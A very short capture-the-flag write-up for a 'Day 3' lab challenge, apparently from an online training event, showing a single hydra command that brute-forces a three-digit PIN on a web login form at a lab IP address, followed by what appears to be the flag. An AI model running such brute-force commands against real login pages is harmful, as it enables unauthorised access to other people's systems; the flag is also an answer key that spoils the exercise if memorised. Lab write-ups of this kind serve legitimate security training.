[Day 3] Brute-forcing Hydra is Coming to Town

Using crunch and hydra, find the PIN code to access the control system and unlock the door. What is the flag?

hydra 10.10.231.126 -V -f -l "" -P 3digits.txt http-post-form "/login.php:pin=^PASS^:Access denied" -s 8000 - 6F5